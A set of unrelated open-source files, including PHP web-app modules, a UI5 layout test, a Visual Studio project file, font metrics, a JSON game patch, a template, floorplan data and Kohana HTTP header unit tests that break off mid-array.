"<p>", $rs->recordCount(), " {$lang['strrows']}</p>\n"; } // Otherwise if any rows have been affected elseif ($data->conn->Affected_Rows() > 0) { echo "<p>", $data->conn->Affected_Rows(), " {$lang['strrowsaff']}</p>\n"; } // Otherwise nodata to print else echo '<p>', $lang['strnodata'], "</p>\n"; } } // May as well try to time the query if ($start_time !== null) { list($usec, $sec) = explode(' ', microtime()); $end_time = ((float)$usec + (float)$sec); // Get duration in milliseconds, round to 3dp's $duration = number_format(($end_time - $start_time) * 1000, 3); } else $duration = null; // Reload the browser as we may have made schema changes $_reload_browser = true; // Display duration if we know it if ($duration !== null) { echo "<p>", sprintf($lang['strruntime'], $duration), "</p>\n"; } echo "<p>{$lang['strsqlexecuted']}</p>\n"; $navlinks = array(); $fields = array( 'server' => $_REQUEST['server'], 'database' => $_REQUEST['database'], ); if(isset($_REQUEST['schema'])) $fields['schema'] = $_REQUEST['schema']; // Return if (isset($_REQUEST['return'])) { $urlvars = $misc->getSubjectParams($_REQUEST['return']); $navlinks['back'] = array ( 'attr'=> array ( 'href' => array ( 'url' => $urlvars['url'], 'urlvars' => $urlvars['params'] ) ), 'content' => $lang['strback'] ); } // Edit $navlinks['alter'] = array ( 'attr'=> array ( 'href' => array ( 'url' => 'database.php', 'urlvars' => array_merge($fields, array ( 'action' => 'sql', )) ) ), 'content' => $lang['streditsql'] ); // Create view and download if (isset($_SESSION['sqlquery']) && isset($rs) && is_object($rs) && $rs->recordCount() > 0) { // Report views don't set a schema, so we need to disable create view in that case if (isset($_REQUEST['schema'])) { $navlinks['createview'] = array ( 'attr'=> array ( 'href' => array ( 'url' => 'views.php', 'urlvars' => array_merge($fields, array ( 'action' => 'create' )) ) ), 'content' => $lang['strcreateview'] ); } if (isset($_REQUEST['search_path'])) $fields['search_path'] = $_REQUEST['search_path']; $navlinks['download'] = array ( 'attr'=> array ( 'href' => array ( 'url' => 'dataexport.php', 'urlvars' => $fields ) ), 'content' => $lang['strdownload'] ); } $misc->printNavLinks($navlinks, 'sql-form', get_defined_vars()); $misc->printFooter(); ?>
{ "pile_set_name": "Github" }
/*global QUnit */ /*eslint no-undef:1, no-unused-vars:1, strict: 1 */ sap.ui.define([ "sap/ui/qunit/utils/createAndAppendDiv", "sap/m/HBox", "sap/ui/core/HTML", "sap/m/FlexItemData", "sap/m/VBox", "sap/m/App", "sap/m/Page", "jquery.sap.global", "sap/ui/dom/includeStylesheet" ], function( createAndAppendDiv, HBox, HTML, FlexItemData, VBox, App, Page, jQuery, includeStylesheet ) { createAndAppendDiv("content"); var outerhboxWidth, outerhboxHeight, vboxWidth, vboxHeight, innerhboxWidth, innerhboxHeight, item1Width, item1Height, item2Width, item2Height, item3Width, item3Height, item4Width, item4Height, item5Width, item5Height, item6Width, item6Height; var oOuterHBox = new HBox("outerHBox", { items: [ new HTML("panel1", { content: "<div></div>", layoutData: new FlexItemData({ growFactor: 2, id: "item1" }) }), new HTML("panel2", { content: "<div></div>", layoutData: new FlexItemData({ growFactor: 3, id: "item2" }) }), new VBox("vbox", { items: [ new HTML("panel3", { content: "<div></div>", layoutData: new FlexItemData({ growFactor: 5, id: "item3" }) }), new HBox("innerHBox", { items: [ new HTML("panel4", { content: "<div></div>", layoutData: new FlexItemData({ growFactor: 1, id: "item4" }) }), new HTML("panel5", { content: "<div></div>", layoutData: new FlexItemData({ growFactor: 1, id: "item5" }) }) ], fitContainer: true, alignItems: "Stretch", layoutData: new FlexItemData({ growFactor: 3 }) }) ], fitContainer: true, layoutData: new FlexItemData({ growFactor: 5 }) }), new HTML("panel6", { content:"<div></div>", layoutData: new FlexItemData({ growFactor: 5, id: "item6" }) }) ], fitContainer: true, alignItems: "Stretch" }); var app = new App(); app.placeAt("content"); app.addPage(new Page("page", { enableScrolling: false, content: [ oOuterHBox ] })); QUnit.test("Flex Boxes rendered", function(assert) { assert.ok(jQuery.sap.domById("outerHBox"), "Outer HBox should be rendered"); assert.ok(jQuery.sap.domById("item1"), "item 1 should be rendered"); assert.ok(jQuery.sap.domById("item2"), "Item 2 should be rendered"); assert.ok(jQuery.sap.domById("vbox"), "VBox should be rendered"); assert.ok(jQuery.sap.domById("item3"), "Item 3 should be rendered"); assert.ok(jQuery.sap.domById("innerHBox"), "Inner HBox should be rendered"); assert.ok(jQuery.sap.domById("item4"), "Item 4 should be rendered"); assert.ok(jQuery.sap.domById("item5"), "Item 5 should be rendered"); assert.ok(jQuery.sap.domById("item6"), "Item 6 should be rendered"); }); QUnit.test("Width and height correct", function(assert) { assert.ok(Math.abs(jQuery.sap.domById("outerHBox").offsetWidth - outerhboxWidth) <= 1, "Outer HBox should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("outerHBox").offsetHeight - outerhboxHeight) <= 1, "Outer HBox should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("vbox").offsetWidth - vboxWidth) <= 1, "VBox should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("vbox").offsetHeight - vboxHeight) <= 1, "VBox should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("innerHBox").offsetWidth - innerhboxWidth) <= 1, "Inner HBox should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("innerHBox").offsetHeight - innerhboxHeight) <= 1, "Inner HBox should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("item1").offsetWidth - item1Width) <= 1, "Item 1 should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("item1").offsetHeight - item1Height) <= 1, "Item 1 should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("item2").offsetWidth - item2Width) <= 1, "Item 2 should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("item2").offsetHeight - item2Height) <= 1, "Item 2 should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("item3").offsetWidth - item3Width) <= 1, "Item 3 should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("item3").offsetHeight - item3Height) <= 1, "Item 3 should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("item4").offsetWidth - item4Width) <= 1, "Item 4 should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("item4").offsetHeight - item4Height) <= 1, "Item 4 should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("item5").offsetWidth - item5Width) <= 1, "Item 5 should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("item5").offsetHeight - item5Height) <= 1, "Item 5 should have the correct height"); assert.ok(Math.abs(jQuery.sap.domById("item6").offsetWidth - item6Width) <= 1, "Item 6 should have the correct width"); assert.ok(Math.abs(jQuery.sap.domById("item6").offsetHeight - item6Height) <= 1, "Item 6 should have the correct height"); }); // include stylesheet, wait for it + 1000ms then calculate expected sizes. // test starter will wait for the returned promise return includeStylesheet({ url: sap.ui.require.toUrl("test-resources/sap/m/qunit/FlexBoxFit.css") }).then(function() { // HACK: enforce scrollbars // - with a dedicated *.qunit.html page, the QUnit header + 100% body always enforced a scrollbar // - with the generic test starter, the QUnit header get a height only after all tests have been created document.getElementById("qunit").setAttribute("style", "height:200px;"); return new Promise(function(resolve) { setTimeout(function() { // Calculate width and height for the elements outerhboxWidth = jQuery.sap.domById("page-cont").offsetWidth; outerhboxHeight = jQuery.sap.domById("page-cont").offsetHeight; vboxWidth = outerhboxWidth * ( 5 / 15 ); vboxHeight = outerhboxHeight; innerhboxWidth = outerhboxWidth * ( 5 / 15 ); innerhboxHeight = outerhboxHeight * ( 3 / 8 ); item1Width = outerhboxWidth * ( 2 / 15 ); item1Height = outerhboxHeight; item2Width = outerhboxWidth * ( 3 / 15 ); item2Height = outerhboxHeight; item3Width = outerhboxWidth * ( 5 / 15 ); item3Height = outerhboxHeight * ( 5 / 8 ); item4Width = outerhboxWidth * ( 5 / 15 ) / 2; item4Height = outerhboxHeight * ( 3 / 8 ); item5Width = outerhboxWidth * ( 5 / 15 ) / 2; item5Height = outerhboxHeight * ( 3 / 8 ); item6Width = outerhboxWidth * ( 5 / 15 ); item6Height = outerhboxHeight; resolve(); }, 1000); }); }); });
{ "pile_set_name": "Github" }
<?php /** * module: invite.php * * send email invitations to join social network * */ function invite_post(&$a) { if(! local_channel()) { notice( t('Permission denied.') . EOL); return; } check_form_security_token_redirectOnErr('/', 'send_invite'); $max_invites = intval(get_config('system','max_invites')); if(! $max_invites) $max_invites = 50; $current_invites = intval(get_pconfig(local_channel(),'system','sent_invites')); if($current_invites > $max_invites) { notice( t('Total invitation limit exceeded.') . EOL); return; }; $recips = ((x($_POST,'recipients')) ? explode("\n",$_POST['recipients']) : array()); $message = ((x($_POST,'message')) ? notags(trim($_POST['message'])) : ''); $total = 0; if(get_config('system','invitation_only')) { $invonly = true; $x = get_pconfig(local_channel(),'system','invites_remaining'); if((! $x) && (! is_site_admin())) return; } foreach($recips as $recip) { $recip = trim($recip); if(! $recip) continue; if(! valid_email($recip)) { notice( sprintf( t('%s : Not a valid email address.'), $recip) . EOL); continue; } if($invonly && ($x || is_site_admin())) { $code = autoname(8) . srand(1000,9999); $nmessage = str_replace('$invite_code',$code,$message); $r = q("INSERT INTO `register` (`hash`,`created`) VALUES ('%s', '%s') ", dbesc($code), dbesc(datetime_convert()) ); if(! is_site_admin()) { $x --; if($x >= 0) set_pconfig(local_channel(),'system','invites_remaining',$x); else return; } } else $nmessage = $message; $account = $a->get_account(); $res = mail($recip, sprintf( t('Please join us on Red'), $a->config['sitename']), $nmessage, "From: " . $account['account_email'] . "\n" . 'Content-type: text/plain; charset=UTF-8' . "\n" . 'Content-transfer-encoding: 8bit' ); if($res) { $total ++; $current_invites ++; set_pconfig(local_channel(),'system','sent_invites',$current_invites); if($current_invites > $max_invites) { notice( t('Invitation limit exceeded. Please contact your site administrator.') . EOL); return; } } else { notice( sprintf( t('%s : Message delivery failed.'), $recip) . EOL); } } notice( sprintf( tt("%d message sent.", "%d messages sent.", $total) , $total) . EOL); return; } function invite_content(&$a) { if(! local_channel()) { notice( t('Permission denied.') . EOL); return; } $tpl = get_markup_template('invite.tpl'); $invonly = false; if(get_config('system','invitation_only')) { $invonly = true; $x = get_pconfig(local_channel(),'system','invites_remaining'); if((! $x) && (! is_site_admin())) { notice( t('You have no more invitations available') . EOL); return ''; } } $ob = $a->get_observer(); if(! $ob) return $o; $channel = $a->get_channel(); $o = replace_macros($tpl, array( '$form_security_token' => get_form_security_token("send_invite"), '$invite' => t('Send invitations'), '$addr_text' => t('Enter email addresses, one per line:'), '$msg_text' => t('Your message:'), '$default_message' => t('Please join my community on RedMatrix.') . "\r\n" . "\r\n" . $linktxt . (($invonly) ? "\r\n" . "\r\n" . t('You will need to supply this invitation code: ') . $invite_code . "\r\n" . "\r\n" : '') . t('1. Register at any RedMatrix location (they are all inter-connected)') . "\r\n" . "\r\n" . z_root() . '/register' . "\r\n" . "\r\n" . t('2. Enter my RedMatrix network address into the site searchbar.') . "\r\n" . "\r\n" . $ob['xchan_addr'] . ' (' . t('or visit ') . z_root() . '/channel/' . $channel['channel_address'] . ')' . "\r\n" . "\r\n" . t('3. Click [Connect]') . "\r\n" . "\r\n" , '$submit' => t('Submit') )); return $o; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="windows-1250"?> <VisualStudioProject ProjectType="Visual C++" Version="9.00" Name="Ch38AMD" ProjectGUID="{349B92D6-9163-4722-82AA-67A1BC7B9643}" RootNamespace="Ch38AMD" Keyword="MFCProj" TargetFrameworkVersion="196613" > <Platforms> <Platform Name="Win32" /> </Platforms> <ToolFiles> </ToolFiles> <Configurations> <Configuration Name="Debug|Win32" OutputDirectory="$(SolutionDir)$(ConfigurationName)" IntermediateDirectory="$(ConfigurationName)" ConfigurationType="1" UseOfMFC="2" CharacterSet="1" > <Tool Name="VCPreBuildEventTool" /> <Tool Name="VCCustomBuildTool" /> <Tool Name="VCXMLDataGeneratorTool" /> <Tool Name="VCWebServiceProxyGeneratorTool" /> <Tool Name="VCMIDLTool" PreprocessorDefinitions="_DEBUG" MkTypLibCompatible="false" ValidateParameters="true" /> <Tool Name="VCCLCompilerTool" Optimization="0" PreprocessorDefinitions="WIN32;_WINDOWS;_DEBUG" MinimalRebuild="true" BasicRuntimeChecks="3" RuntimeLibrary="3" UsePrecompiledHeader="2" WarningLevel="3" DebugInformationFormat="4" /> <Tool Name="VCManagedResourceCompilerTool" /> <Tool Name="VCResourceCompilerTool" PreprocessorDefinitions="_DEBUG" Culture="1033" AdditionalIncludeDirectories="$(IntDir)" /> <Tool Name="VCPreLinkEventTool" /> <Tool Name="VCLinkerTool" LinkIncremental="2" GenerateDebugInformation="true" SubSystem="2" TargetMachine="1" /> <Tool Name="VCALinkTool" /> <Tool Name="VCManifestTool" /> <Tool Name="VCXDCMakeTool" /> <Tool Name="VCBscMakeTool" /> <Tool Name="VCFxCopTool" /> <Tool Name="VCAppVerifierTool" /> <Tool Name="VCPostBuildEventTool" /> </Configuration> <Configuration Name="Release|Win32" OutputDirectory="$(SolutionDir)$(ConfigurationName)" IntermediateDirectory="$(ConfigurationName)" ConfigurationType="1" UseOfMFC="2" CharacterSet="1" WholeProgramOptimization="1" > <Tool Name="VCPreBuildEventTool" /> <Tool Name="VCCustomBuildTool" /> <Tool Name="VCXMLDataGeneratorTool" /> <Tool Name="VCWebServiceProxyGeneratorTool" /> <Tool Name="VCMIDLTool" PreprocessorDefinitions="NDEBUG" MkTypLibCompatible="false" ValidateParameters="true" /> <Tool Name="VCCLCompilerTool" Optimization="2" EnableIntrinsicFunctions="true" PreprocessorDefinitions="WIN32;_WINDOWS;NDEBUG" MinimalRebuild="false" RuntimeLibrary="2" EnableFunctionLevelLinking="true" UsePrecompiledHeader="2" WarningLevel="3" DebugInformationFormat="3" /> <Tool Name="VCManagedResourceCompilerTool" /> <Tool Name="VCResourceCompilerTool" PreprocessorDefinitions="NDEBUG" Culture="1033" AdditionalIncludeDirectories="$(IntDir)" /> <Tool Name="VCPreLinkEventTool" /> <Tool Name="VCLinkerTool" LinkIncremental="1" GenerateDebugInformation="true" SubSystem="2" OptimizeReferences="2" EnableCOMDATFolding="2" TargetMachine="1" /> <Tool Name="VCALinkTool" /> <Tool Name="VCManifestTool" /> <Tool Name="VCXDCMakeTool" /> <Tool Name="VCBscMakeTool" /> <Tool Name="VCFxCopTool" /> <Tool Name="VCAppVerifierTool" /> <Tool Name="VCPostBuildEventTool" /> </Configuration> </Configurations> <References> </References> <Files> <Filter Name="Source Files" Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" > <File RelativePath=".\Ch38AMD.cpp" > </File> <File RelativePath=".\Ch38AMDDlg.cpp" > </File> <File RelativePath=".\stdafx.cpp" > <FileConfiguration Name="Debug|Win32" > <Tool Name="VCCLCompilerTool" UsePrecompiledHeader="1" /> </FileConfiguration> <FileConfiguration Name="Release|Win32" > <Tool Name="VCCLCompilerTool" UsePrecompiledHeader="1" /> </FileConfiguration> </File> </Filter> <Filter Name="Header Files" Filter="h;hpp;hxx;hm;inl;inc;xsd" UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" > <File RelativePath=".\Ch38AMD.h" > </File> <File RelativePath=".\Ch38AMDDlg.h" > </File> <File RelativePath=".\Resource.h" > </File> <File RelativePath=".\stdafx.h" > </File> <File RelativePath=".\targetver.h" > </File> </Filter> <Filter Name="Resource Files" Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav" UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}" > <File RelativePath=".\res\Ch38AMD.ico" > </File> <File RelativePath=".\Ch38AMD.rc" > </File> <File RelativePath=".\res\Ch38AMD.rc2" > </File> </Filter> <File RelativePath=".\ReadMe.txt" > </File> </Files> <Globals> <Global Name="RESOURCE_FILE" Value="Ch38AMD.rc" /> </Globals> </VisualStudioProject>
{ "pile_set_name": "Github" }
<?php $type = 'Core'; $name = 'Times-Bold'; $up = -100; $ut = 50; $cw = array( chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250, chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>555,'#'=>500,'$'=>500,'%'=>1000,'&'=>833,'\''=>278,'('=>333,')'=>333,'*'=>500,'+'=>570, ','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>333,';'=>333,'<'=>570,'='=>570,'>'=>570,'?'=>500,'@'=>930,'A'=>722, 'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>778,'I'=>389,'J'=>500,'K'=>778,'L'=>667,'M'=>944,'N'=>722,'O'=>778,'P'=>611,'Q'=>778,'R'=>722,'S'=>556,'T'=>667,'U'=>722,'V'=>722,'W'=>1000, 'X'=>722,'Y'=>722,'Z'=>667,'['=>333,'\\'=>278,']'=>333,'^'=>581,'_'=>500,'`'=>333,'a'=>500,'b'=>556,'c'=>444,'d'=>556,'e'=>444,'f'=>333,'g'=>500,'h'=>556,'i'=>278,'j'=>333,'k'=>556,'l'=>278,'m'=>833, 'n'=>556,'o'=>500,'p'=>556,'q'=>556,'r'=>444,'s'=>389,'t'=>333,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>444,'{'=>394,'|'=>220,'}'=>394,'~'=>520,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500, chr(132)=>500,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>667,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>1000, chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>444,chr(159)=>722,chr(160)=>250,chr(161)=>333,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>220,chr(167)=>500,chr(168)=>333,chr(169)=>747,chr(170)=>300,chr(171)=>500,chr(172)=>570,chr(173)=>333,chr(174)=>747,chr(175)=>333, chr(176)=>400,chr(177)=>570,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>556,chr(182)=>540,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>330,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>500,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722, chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>389,chr(205)=>389,chr(206)=>389,chr(207)=>389,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>570,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722, chr(220)=>722,chr(221)=>722,chr(222)=>611,chr(223)=>556,chr(224)=>500,chr(225)=>500,chr(226)=>500,chr(227)=>500,chr(228)=>500,chr(229)=>500,chr(230)=>722,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>556, chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>570,chr(248)=>500,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500); ?>
{ "pile_set_name": "Github" }
[ [{ "op": "test", "path": "/itemTags", "inverse": true }, { "op": "add", "path": "/itemTags", "value": [] }, { "op": "add", "path": "/itemTags/-", "value": "upgradeableWeapon" } ], [{ "op": "test", "path": "/itemTags" }, { "op": "add", "path": "/itemTags/-", "value": "upgradeableWeapon" } ], [{ "op": "replace", "path": "/description", "value": "^orange;Set Bonuses^reset;: ^yellow;^reset; AR/Shortsword: Dmg x^green;1.1^reset;" }, { "op": "add", "path": "/statusEffects", "value": [ "humantier1setbonusnew", { "stat" : "fu_humantier1setnew_legs", "amount" : 1 } ] }, { "op": "replace", "path": "/tooltipKind", "value": "armornew2" }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "fireResistance", "amount": 0.016667 } }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "iceResistance", "amount": 0.016667 } }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "electricResistance", "amount": 0.016667 } }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "poisonResistance", "amount": 0.016667 } }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "radioactiveResistance", "amount": 0.016667 } }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "physicalResistance", "amount": 0.016667 } }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "shadowResistance", "amount": 0.016667 } }, { "op": "add", "path": "/leveledStatusEffects/-", "value": { "levelFunction": "fuArmorResistMultiplier", "stat": "cosmicResistance", "amount": 0.016667 } }, { "op": "add", "path": "/builder", "value": "/items/buildscripts/fubuildarmor.lua" } ] ]
{ "pile_set_name": "Github" }
<div id="sidenav"> <div class="sidenav-holder clearfix"> <!-- <div class="widget clearfix"> --> <!-- <p>Create an account or sign in for a tailor-made video experience</p> --> <!-- <buttun class="btn btn-primary">Sign Up / Sign In</buttun> --> <!-- </div> --> <!-- <div class="widget clearfix"> <a href="#">Videos you might like</a> </div> --> <div class="panel-group clearfix widget" id="accordion" role="tablist" aria-multiselectable="true"> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a data-toggle="collapse" data-parent="#accordion" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne"><span class="caret"></span>&nbsp;Video Categories</a> </h4> </div> <div id="collapseOne" class="panel-collapse collapse in"> {include file="$style_dir/blocks/category_list.html" type='video'} </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a href="{cblink(['name'=>'photos'])}">Photos</a> </h4> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a href="{cblink(['name'=>'collections'])}">Collections</a> </h4> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a href="{cblink(['name'=>'groups'])}">Groups</a> </h4> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a href="{cblink(['name'=>'channels'])}">{lang code="View Channels"}</a> </h4> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a class="collapsed" data-toggle="collapse" data-parent="#accordion" href="#collapseThree" aria-expanded="false" aria-controls="collapseTwo"><span class="caret"></span>&nbsp;Who to Follow</a> </h4> </div> <div id="collapseThree" class="panel-collapse collapse in"> <ul class="panel-body"> {$users=get_users(["order"=>"subscribers DESC","limit" =>"3"])} {foreach $users as $user} <li> <div class="avatar"> <a href="{$userquery->profile_link($user)}"> <img src="{avatar details=$user size='58x58'}"> </a> </div> <span class="user-name"> <a href="{$userquery->profile_link($user)}">{$user.username}</a> </span> </li> {/foreach} </ul> </div> </div> </div> </div> </div>
{ "pile_set_name": "Github" }
73 129 73 170 door 1 1 142 81 142 123 door 1 1 577 93 577 190 door 1 1 449 38 449 203 door 1 1 397 33 426 33 door 1 1 146 126 173 126 door 1 1 116 177 201 203 cooking_counter 1 1 540 38 575 76 special 3 2 220 38 261 81 special 3 2 82 126 109 174 entrance 1 2 183 93 207 115 washing_basin 1 1 174 39 213 71 washing_basin 3 2 150 44 166 68 toilet 1 3 81 38 134 70 bathtub 1 1 202 171 220 199 washing_basin 2 1 85 70 130 88 bathroom 1 1 154 70 199 88 washing_room 1 1 490 111 536 129 bedroom 1 1 17 93 63 112 closet 1 1 217 82 230 122 PS 1 2 311 134 360 164 living_room 1 1 148 143 183 161 kitchen 1 1 593 127 614 143 balcony 1 1 486 38 512 56 closet 1 1 222 170 222 207 wall 1 1 73 207 222 207 wall 1 1 73 126 73 207 wall 1 1 7 125 74 125 wall 1 1 7 81 7 125 wall 1 1 74 32 74 81 wall 1 1 74 32 142 32 wall 1 1 7 81 74 81 wall 1 1 449 33 577 33 wall 1 1 577 33 577 207 wall 1 1 142 32 212 32 wall 1 1 142 32 142 126 wall 1 1 449 33 449 207 wall 1 1 212 33 449 33 wall 1 1 212 33 212 126 wall 1 1 74 81 74 126 wall 1 1 142 126 212 126 wall 1 1 74 126 142 126 wall 1 1 222 207 449 207 wall 1 1 449 207 577 207 wall 1 1 576 204 633 204 wall 2 1 633 70 633 204 wall 2 1 621 70 633 70 wall 2 1 621 60 621 70 wall 2 1 611 60 621 60 wall 2 1 611 45 611 60 wall 2 1 577 45 611 45 wall 2 1
{ "pile_set_name": "Github" }
<?php defined('SYSPATH') OR die('No direct script access.'); /** * Unit Tests for Kohana_HTTP_Header * * @group kohana * @group kohana.core * @group kohana.core.http * @group kohana.core.http.header * @group kohana.core.http.header * * @package Kohana * @category Tests * @author Kohana Team * @copyright (c) 2008-2014 Kohana Team * @license http://kohanaframework.org/license */ class Kohana_HTTP_HeaderTest extends Unittest_TestCase { /** * Provides data for test_accept_quality * * @return array */ public function provider_accept_quality() { return array( array( array( 'text/html; q=1', 'text/plain; q=.5', 'application/json; q=.1', 'text/*' ), array( 'text/html' => (float) 1, 'text/plain' => 0.5, 'application/json' => 0.1, 'text/*' => (float) 1 ) ), array( array( 'text/*', 'text/html; level=1; q=0.4', 'application/xml+rss; q=0.5; level=4' ), array( 'text/*' => (float) 1, 'text/html; level=1' => 0.4, 'application/xml+rss; level=4' => 0.5 ) ) ); } /** * Tests the `accept_quality` method parses the quality values * correctly out of header parts * * @dataProvider provider_accept_quality * * @param array $parts input * @param array $expected expected output * @return void */ public function test_accept_quality(array $parts, array $expected) { $out = HTTP_Header::accept_quality($parts); foreach ($out as $key => $value) { $this->assertInternalType('float', $value); } $this->assertSame($expected, $out); } /** * Data provider for test_parse_accept_header * * @return array */ public function provider_parse_accept_header() { return array( array( 'text/html, text/plain, text/*, */*', array( 'text' => array( 'html' => (float) 1, 'plain' => (float) 1, '*' => (float) 1 ), '*' => array( '*' => (float) 1 ) ) ), array( 'text/html; q=.5, application/json, application/xml+rss; level=1; q=.7, text/*, */*', array( 'text' => array( 'html' => 0.5, '*' => (float) 1 ), 'application' => array( 'json' => (float) 1, 'xml+rss; level=1' => 0.7 ), '*' => array( '*' => (float) 1 ) ) ) ); } /** * Tests the `parse_accept_header` method parses the Accept: header * correctly and returns expected output * * @dataProvider provider_parse_accept_header * * @param string $accept accept in * @param array $expected expected out * @return void */ public function test_parse_accept_header($accept, array $expected) { $this->assertSame($expected, HTTP_Header::parse_accept_header($accept)); } /** * Provides data for test_parse_charset_header * * @return array */ public function provider_parse_charset_header() { return array( array( 'utf-8, utf-10, utf-16, iso-8859-1', array( 'utf-8' => (float) 1, 'utf-10' => (float) 1, 'utf-16' => (float) 1, 'iso-8859-1'=> (float) 1 ) ), array( 'utf-8, utf-10; q=.9, utf-16; q=.5, iso-8859-1; q=.75', array( 'utf-8' => (float) 1, 'utf-10' => 0.9, 'utf-16' => 0.5, 'iso-8859-1'=> 0.75 ) ), array( NULL, array( '*' => (float) 1 ) ) ); } /** * Tests the `parse_charset_header` method parsed the Accept-Charset header * correctly * * @dataProvider provider_parse_charset_header * * @param string $accept accept * @param array $expected expected * @return void */ public function test_parse_charset_header($accept, array $expected) { $this->assertSame($expected, HTTP_Header::parse_charset_header($accept)); } /** * Provides data for test_parse_charset_header * * @return array */ public function provider_parse_encoding_header() { return array( array( 'compress, gzip, blowfish', array( 'compress' => (float) 1, 'gzip' => (float) 1, 'blowfish' => (float) 1 ) ), array( 'compress, gzip; q=0.12345, blowfish; q=1.0', array( 'compress' => (float) 1, 'gzip' => 0.12345, 'blowfish' => (float) 1 ) ), array( NULL, array( '*' => (float) 1 ) ), array( '', array( 'identity' => (float) 1 ) ) ); } /** * Tests the `parse_encoding_header` method parses the Accept-Encoding header * correctly * * @dataProvider provider_parse_encoding_header * * @param string $accept accept * @param array $expected expected * @return void */ public function test_parse_encoding_header($accept, array $expected) { $this->assertSame($expected, HTTP_Header::parse_encoding_header($accept)); } /** * Provides data for test_parse_charset_header * * @return array */ public function provider_parse_language_header() { return array( array( 'en, en-us, en-gb, fr, fr-fr, es-es', array( 'en' => array( '*' => (float) 1, 'us' => (float) 1, 'gb' => (float) 1 ), 'fr' => array( '*' => (float) 1, 'fr' => (float) 1 ), 'es' => array( 'es' => (float) 1 ) ) ), array( 'en; q=.9, en-us, en-gb, fr; q=.5, fr-fr; q=0.4, es-es; q=0.9, en-gb-gb; q=.45', array( 'en' => array( '*' => 0.9, 'us' => (float) 1, 'gb' 